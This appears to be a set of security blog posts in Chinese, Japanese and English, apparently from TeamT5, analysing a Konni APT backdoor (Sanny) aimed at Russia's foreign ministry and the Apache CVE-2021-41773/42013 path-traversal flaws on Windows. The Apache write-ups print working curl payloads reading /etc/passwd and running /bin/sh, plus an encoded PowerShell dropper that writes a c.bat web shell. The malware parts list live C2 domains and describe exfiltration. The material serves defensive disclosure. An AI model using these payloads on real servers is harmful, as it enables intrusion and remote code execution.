當scrnsvc.dll被註冊為scrnsvc服務後，每當電腦開機將會透過系統程式services.exe帶起scrnsvc服務。scrnsvc.dll會使用服務名稱的SHA256雜湊值作為AES金鑰（CTR mode）來解密寫死（Hard Code）的惡意Payload，Payload包含需重建的導入位置表IAT（Import Address Table）。經過分析，發現連線中繼站的URL位址分別具有upload（up.php）、download（dn.php）和delete（del.php）功能，但並未看到與delete功能相關的程式碼，推測未來後門程式Sanny將會持續進化擴充功能。如下圖所示。


![konni_pic5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic5_d4003cd8fc.png)
<center>圖5: 連線中繼站URL中包含upload、download和delete</center>


後門程式scrnsvc.dll執行後，會先向中繼站i758769.atwebpages.com取得新的組態設定檔。經過解密分析後，新的中繼站位址分別為 ```455686.c1.biz``` 與 ```h378576.atwebpages.com``` 。連線至新中繼站後，會將unicode UFT-8格式的值65001寫至Console Codepage的註冊機碼當中，後續透過systeminfo、tasklist等指令，蒐集受害主機資料並加密封裝成CAB檔案，回傳至中繼站 ```http://<C2 domain>/up.php?name=<computer_name>``` 上，且預期中繼站回傳 ```success!```。如下圖所示。


![konni_pic6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131164/konni_pic6_1cc73427fc.png)
<center>圖6:利用systeminfo、tasklis蒐集受害主機資料</center>


![konni_pic7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic7_60f93b8493.png)
<center>圖7:回傳受害主機資訊並預設中繼站接收成功</center>


收到success後，會向中繼站 ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=cc(0)```下載CAB檔案。解密CAB檔案後，會將惡意指令透過CreateProcessAsUserW或CreateProcessW執行。與此之後，都是向中繼站 ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=tt``` 下載新的CAB檔案並解密執行。如下圖所示。

![konni_pic8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic8_506bdc9b10.png)
<center>圖8: 向中繼站下載控制指令的CAB檔案回來解密執行</center>

## IOC威脅入侵指標
建議將下表的IoC威脅入侵指標匯入環境中的資安防禦設備。

<center>表1: IOC威脅入侵指標</center>

|Type|Value|描述|
|---|---|---|
|MD5|8EC9A6FF22C497375B53344CAFEB2292|поздравление.scr|
|SHA1|FB7D9BC8309F589E39E091EF5A7B08260596FFCD|поздравление.scr|
|SHA256|451B9D4144555FCC791231DB73EF3BFDB6FFDDEB655E07A457108766F0E6AD39|поздравление.scr|
|MD5|8269E1B2AFAA832E7900640EBFE44BB4|Install.bat|
|SHA1|191604259DEF68250272919214AEA109503200FE|Install.bat|
|SHA256|B6845A436DF2B3A79DD1B0E4A57A06C60F718EEE0272A3EB81183EE4750037B9|Install.bat|
|MD5|57A22E74BA27B034613B0C6AC54A10D5|scrnsvc.dll|
|SHA1|C1D312762D598831D431B08E47075047582856AA|scrnsvc.dll|
|SHA256|A3CD08AFD7317D1619FBA83C109F268B4B60429B4EB7C97FC274F92FF4FE17A2|scrnsvc.dll|
|MD5|58560F053A099104B0F8AC1C9FED2903|scrnsvc.ini|
|SHA1|F08C033D1A9F2F75A17CBCB71E3041263D2D3E61|scrnsvc.ini|
|SHA256|24F5FB91CA41E4A191A44629F064FA14C4063B7CDA68EBC2B7AFB7E68A9D3CDD|scrnsvc.ini|
|Domain|```i758769.atwebpages.com```|中繼站（Download Site）|
|Domain|```455686.c1.biz```|中繼站（C2 Server）|
|Domain|```h378576.atwebpages.com```|中繼站（C2 Server）|



*首圖來源：[Pixabay](https://unsplash.com/photos/ux9KoOSHrco)

北韓駭客Konni瞄準俄羅斯政府進行APT入侵攻擊

# 要約
TeamT5 は最近、ロシア外務省に対する攻撃インシデントを捕捉した。そのバックドアプログラムの内容に基づき、北朝鮮のハッカーグループ、Konni による攻撃と見られる。このインシデントでは、ハッカーは2022年を祝う内容の祝賀カードを利用してフィッシング形式の悪意のあるメールを送信した。ユーザーがメールを開いて添付ファイルを実行した場合、ユーザー PC にバックドアプログラムである Sanny がインストールされ、悪意のある中継サイトにアクセスし、ハッカーが長期的かつ持続的にユーザーの PC を制御することが可能になる。

キーワード：APT、Konni、Sanny、北朝鮮、ロシア

## インシデントの説明

TeamT5 は最近、悪意のあるフィッシングメールを取得した。ハッカーはロシアの駐セルビア大使館の人員になりすまし、同僚に向けた新年祝賀の内容で受信者にはロシア外務省の副大臣も含まれていた。メールの内容とスクリーンセーバーの詳細は下図の通りである。


![konni_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic1_1f749bb061.png)
<center>図1：悪意のあるメールの本文</center>



![konni_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic2_544dd383a7.png)
<center>図2：スクリーンセーバーの画面</center>


メール内の添付ファイルを解凍するとスクリーンセーバーである поздравление.scr が確認できる。実行するとスクリーンセーバーが起動し中継サイトである ```i758769.atwebpages.com``` にアクセスし、悪意のある Payload をダウンロードして Base64 アルゴリズムにより悪意のある CAB ファイルを取得する。

悪意のある CAB ファイルを実行すると3つのファイルが生成されるが、これらはインストーラーの Installer.bat、バックドアプログラムの scrnsvc.dll、構成設定ファイルの scrnsvc.ini である。バックドアプログラムが正常に動作すると中継サイトに接続され、ハッカーの遠隔操作を可能にする。詳細な攻撃フローは下図の通りである。


![https://uploads.teamt5.org/upload/original/%E6%96%87%E7%AB%A0%E9%85%8D%E5%9C%96_%E5%8C%97%E9%9F%93%E9%A7%AD%E5%AE%A2Konni%E7%9E%84%E6%BA%96%E4%BF%84%E7%BE%85%E6%96%AF%E6%94%BF%E5%BA%9C%E9%80%B2%E8%A1%8CAPT%E5%85%A5%E4%BE%B5%E6%94%BB%E6%93%8A-JP.jpg](https://uploads.teamt5.org/upload/original/%E6%96%87%E7%AB%A0%E9%85%8D%E5%9C%96_%E5%8C%97%E9%9F%93%E9%A7%AD%E5%AE%A2Konni%E7%9E%84%E6%BA%96%E4%BF%84%E7%BE%85%E6%96%AF%E6%94%BF%E5%BA%9C%E9%80%B2%E8%A1%8CAPT%E5%85%A5%E4%BE%B5%E6%94%BB%E6%93%8A-JP.jpg)
<center>図3：攻撃行為の概略図</center>


バックドアプログラムの scrnsvc.dll を TeamT5 が研究する情報資料と相互比較したところ、北朝鮮のハッカーグループ Konni がよく用いるバックドアプログラム系の Sanny と関連している可能性が非常に高い。

# サンプル解析
## Installer.bat
Installer.bat はバッチファイルであり、主な用途は現在のディレクトリにある scrnsvc.dll と scrnsvc.ini を ```%windir%\System32\``` のルートにコピーすることである。scrnsvc.dll を scrnsvc サービス（ScreenSaver Management Service）に登録し、現在のディレクトリにあるすべてのファイルを削除する。その中には存在しないファイル wpnprv.dll も含まれる。


![konni_pic4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic4_d25a82dcb1.png)
<center>図4： Installer.bat の内容</center>


## scrnsvc.dll
scrnsvc.dll は PE ファイルで、ファイルのコンパイル時刻は UTC 2021-12-20 08:02:38 である。そのため、ハッカーが今回の攻撃行動で意図的にコンパイルしたバックドアプログラムだということがわかる。

scrnsvc.dll が scrnsvc サービスに登録されると、PC を起動するたびにシステムプログラムの services.exe を通じて scrnsvc サービスが起動する。

scrnsvc.dll はサービス名称の SHA256 ハッシュ値を AES 鍵（CTR mode）として使用してハードコーディング（Hard Code）された悪意のある Payloadをデコードする。Payload には再構成の必要があるインポートアドレステーブル、IAT（Import Address Table）が含まれる。解析を通じて、中継サイトに接続する URL のアドレスは upload（up.php）、download（dn.php）、delete（del.php）機能を持つものに区別されることが確認されたが、delete 機能と関連するソースコードはまだ発見されておらず、今後もバックドアプログラム Sanny は進化を続け機能を拡張していくものと思われる。以下に参考図を示す。


![konni_pic5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic5_d4003cd8fc.png)
<center>接続する中継サイト URL に含まれる upload、download、delete</center>

バックドアプログラム scrnsvc.dll を実行すると、まず中継サイト i758769.atwebpages.com で新たな構成設定ファイルを取得する。デコードと解析の結果、新たな中継サイトのアドレスは ```455686.c1.biz``` と ```h378576.atwebpages.com``` であった。新たな中継サイトに接続すると、unicode UTF-8 形式の値65001を Console Codepage の登録コードに書き込み、その後 systeminfo、tasklist 等のコマンドを通じて被害を受けたホストコンピュータのデータを収集して暗号化し CAB ファイルにパッキングすると、中継サイト ```http://<C2 domain>/up.php?name=<computer_name>``` 上に返すことで、中継サイトから ```success!``` が返される。以下に参考図を示す。


![konni_pic6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131164/konni_pic6_1cc73427fc.png)
<center>図6：systeminfo、tasklist を利用して被害を受けたホストコンピュータからデータを収集</center>


![konni_pic7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic7_60f93b8493.png)
<center>図7：被害を受けたホストコンピュータのデータを送り返し、設定された中継サイトでの受領成功</center>


success を受け取ると、中継サイト ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=cc(0)``` から CAB ファイルをダウンロードする。CAB ファイルをデコードすると、悪意のあるコマンドを CreateProcessAsUserW または CreateProcessW によって実行する。その後は、必ず中継サイト ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=tt``` から新たな CAB ファイルをダウンロードしてデコードし実行する。以下に参考図を示す。

![konni_pic8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic8_506bdc9b10.png)
<center>図8：中継サイトで制御コマンドをダウンロードした CAB ファイルをデコードして実行</center>

## IOC セキュリティ侵害インジケーター
下表の IoC セキュリティ侵害インジケーターを環境内の情報セキュリティ防御設備にインポートしておくことを推奨する。

<center>IOC セキュリティ侵害インジケーター</center>

|種類|Value|説明|
|---|---|---|
|MD5|8EC9A6FF22C497375B53344CAFEB2292|поздравление.scr|
|SHA1|FB7D9BC8309F589E39E091EF5A7B08260596FFCD|поздравление.scr|
|SHA256|451B9D4144555FCC791231DB73EF3BFDB6FFDDEB655E07A457108766F0E6AD39|поздравление.scr|
|MD5|8269E1B2AFAA832E7900640EBFE44BB4|Install.bat|
|SHA1|191604259DEF68250272919214AEA109503200FE|Install.bat|
|SHA256|B6845A436DF2B3A79DD1B0E4A57A06C60F718EEE0272A3EB81183EE4750037B9|Install.bat|
|MD5|57A22E74BA27B034613B0C6AC54A10D5|scrnsvc.dll|
|SHA1|C1D312762D598831D431B08E47075047582856AA|scrnsvc.dll|
|SHA256|A3CD08AFD7317D1619FBA83C109F268B4B60429B4EB7C97FC274F92FF4FE17A2|scrnsvc.dll|
|MD5|58560F053A099104B0F8AC1C9FED2903|scrnsvc.ini|
|SHA1|F08C033D1A9F2F75A17CBCB71E3041263D2D3E61|scrnsvc.ini|
|SHA256|24F5FB91CA41E4A191A44629F064FA14C4063B7CDA68EBC2B7AFB7E68A9D3CDD|scrnsvc.ini|
|Domain|```i758769.atwebpages.com```| Download Site |
|Domain|```455686.c1.biz```| C2 Server |
|Domain|```h378576.atwebpages.com```| C2 Server |



*画像のソース: [Pixabay](https://unsplash.com/photos/ux9KoOSHrco)

北朝鮮のハッカー Konni がロシア政府をターゲットに APT 侵入攻撃を実行

# **前言**

Apache HTTP Server 是一個開放原始碼的網頁伺服器軟體，由於其跨平台和方便性，被廣泛使用的 Web 伺服器軟體之一。而近期 Apache HTTP Server 被揭露出兩個高風險漏洞（CVE-2021-41773 以及 CVE-2021-42013），大部分網路上揭露的漏洞利用細節都是著重於 Linux 系統為主，但我們知道 Windows 其實也存在此漏洞問題，我們將於本文揭露完整漏洞利用細節，並且提醒大家務必儘早將 Apache 更新至最新版本，以免落入駭客攻擊的目標！

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

## **弱點說明**

研究人員發現 Apache 伺服器存在漏洞，攻擊者可藉由發送特製的 HTTP 請求，利用此漏洞來達成路徑列舉或遠端程式碼執行的攻擊效果，以下是使用 CURL 指令實做的 Linux 攻擊程式碼(Payload)：

攻擊成效一：任意下載系統檔案(Path Traversal)

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻擊成效二：遠端程式碼執行(Remote Code Execution)

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**漏洞成因**

首先，我們以上面攻擊語法為例，在 Apache 2.4.50 並未妥善修正弱點，故可以使用 double encode 的方式，通殺兩個弱點（CVE-2021-41773 和 CVE-2021-42013），原因是 Apache 在處理外部 HTTP 請求時，會呼叫 ap_process_request_internal 函式對 url 路徑進行處理，在該函式中，首先會呼叫 ap_normalize_path 函式進行一次 url 解碼，之後會呼叫 ap_unescape_url 函式進行二次解碼，可以看圖一為 Apache 2.4.50 未完善修補漏洞的關鍵程式碼，我們可以看到原本第 571 行並沒有檢查編碼後的路徑跳脫，所以從 576 行開始，加上了相對應的檢查，但是檢查仍不完善可透過 double encode 的方式繞過。

![pic 1_new](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641285777/Image_Pasted_at_2022_1_4_15_54_6cee7732be.png)
<center>圖一：Apache 2.4.49 和 2.4.50 程式碼 diff</center>

攻擊語法經過兩次 Decode 過程：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

所以最後會將此 URI Decode 為：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

因此，透過上面的簡單說明，我們可以看到原本 Apache 對於使用者傳入的路徑，並沒有完善的檢查路徑跳脫，導致可讓攻擊者輸入惡意 payload 達成攻擊效果。

接下來的重點，我們將來探討 Windows 平台的利用方式及案例：

## **PoC on Windows**

- 我們從官網下載 Apache 並架設為攻擊靶機（IP: 192.168.56.161）

**攻擊成效一：任意下載系統檔案（Path Traversal）**

下圖二範例為讀取 C:/Windows/win.ini 檔案內容

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)
<center>圖二：任意下載系統檔案</center>

**攻擊成效二：遠端程式碼執行（Remote Code Execution）**

1. 透過 cmd.exe 執行 powershell，將 c.bat 寫入 C:\Users\Public\，因為 cgi 程式沒有正確的 http header response，所以會 apache 回覆 status code 500，但其實 script 已經執行成功，請參考下圖三。
![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)
<center>圖三：執行結果畫面</center>

2. 接下來可以透過 c.bat 去執行任意指令，並看到執行結果（如圖四）

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)
<center>圖四：執行結果畫面</center>

此為透過 Process Monitor 工具，記錄下來的程式執行流程（圖五）：

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>圖五：Process Monitor 畫面圖</center>

Process Monitor 程式執行結果圖，仔細觀察會發現執行指令包含特殊字元時，會被雙引號刮起來，e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```，因為 cmd.exe 的一些特性，導致指令可以正常執行。

**cmd.exe magic parser**

為了研究Payload為什麼帶了引號還能執行，因此我們延伸分析了cmd遇到不同引號的解析結果。

- help documentation

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)

<center>圖六：cmd 執行畫面</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>圖七：cmd 執行畫面</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下為 Powershell script 編碼後的內容：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

此為 Powershell script 解碼後的內容：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **影響與建議**
- 建議將 Apache 更新至最新版本



## **附錄 cgi-bin how to work**

- 網路上大部分的 Linux PoC 都是使用 POST data 的方式，這裡則是使用 GET parameter, 特此說明其中的差異。

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- 遠端測試
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



- 解碼無法印出字元
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- 與實際上系統執行結果一致
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



## **參考資料**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*首圖來源: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

# **Prologue**

Apache HTTP Server has been the gold standard across the world for decades due to its cross-platform nature and ease-of-use and therefore, it is also the target of plenty of threat actors and exploit researchers. Given the recent disclosure of CVE-2021-41773 and CVE-2021-42013 and the nature of its high severity, numerous outlets have already made a writeup for demonstrating their capabilities.

However, since most of the writeups have primarily focused on the Linux aspect of the vulnerabilities, some may not be aware that platforms such as Windows is just as vulnerable as well. In the following post, we’ll go over how these vulnerabilities can be utilized against Windows hosts with vulnerable Apache HTTP Server.

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

## **How Does it Work?**

Researchers found that by crafting a special HTTP request, Apache HTTP server can be tricked into creating a path traversal attack or remote code execution (RCE). The following curl commands demonstrate how these two attack methods can be recreated :

Payload 1: Local file inclusion via path traversals

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

Payload 2：Remote code execution via path traversals

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**Root Cause Analysis**

Given the requests shown above, we can see that despite the effort put into fixing the vulnerabilities in Apache HTTP Server 2.4.50, the CVEs can still be reproduced by double-encoding the request. When handling external HTTP requests, the Apache server will pass the request to ```ap_process_request_internal``` to parse the URL path. In the said method, ```ap_normalize_path``` and ```ap_unescape_url``` are called. However, both of these methods will decode the path when handling the input.

Fig 1. is a diff between 2.4.49 and 2.4.50. As one could see, the proposed fix was to handle abnormal characters like ```%2e```. Unfortunately, the fix was only implemented in one of the aforementioned methods. Therefore, one could easily bypass this fix by double-encoding the path.

![pic 1_eng.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641180197/pic_1_eng_4fe4a7c1ff.png)

<center>Figure 1. Diff between Apache 2.4.49 and 2.4.50</center>

After double-encoding our paths, we get:

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

By decoding the path twice…

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

Based on this improper fix, we can see that Apache HTTP Server did not properly validate and normalize the paths, leading to our successful payload execution.

Next, we’ll talk about how these vulnerabilities can be applied on Windows.

## **PoC on Windows**

- The following demo uses a vulnerable version of the Apache HTTP Server at the IP ```192.168.56.161```

**Payload 1: Local File Inclusion via Path Traversal **

```C:/Windows/win.ini``` could be read using this attack vector, as shown in Fig. 2.

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)

<center>Figure 2. Path traversals leading to local file inclusion</center>

**Payload 2：Remote Code Execution**

Through ```cmd.exe```, we can use PowerShell to write a ```c.bat``` file under ```C:\Users\Public```. You might notice that Apache HTTP Server will return with a 500 Internal Server Error (see Fig. 3), that is primarily due to not having a proper HTTP header response from the CGI - in reality, the script did successfully go through and ran on the target host.

![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)

<center>Figure 3. The results after payload execution</center>

We can then specify any command that we desire through this ```c.bat``` file.

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)

<center>Figure 4. Arbitrary code execution via the c.bat file</center>

Here’s what it looks like under Process Monitor:

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>Figure 5. Snapshot from Process Monitor</center>

Note that even if there are special characters in the arguments, ```cmd.exe``` can still properly execute the command thanks to how cmd parses its arguments.

**cmd.exe magic parser**

Under normal circumstances, processes with quoted argument including optional switches shouldn’t be able to run properly - yet, ```cmd.exe``` was able to run with our ```/c``` argument quoted. We delve deeper in order to understand how ```cmd.exe``` was able to achieve this.

- Parser documentation from the help ```/?``` switch

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)


<center>Figure 6. Screenshot of the cmd window with the help switch</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>Figure 7. cmd parser in action</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**Using PowerShell to Write C:\Users\Public\c.bat**

Encoded command through the ```-EncodedCommand``` switch:

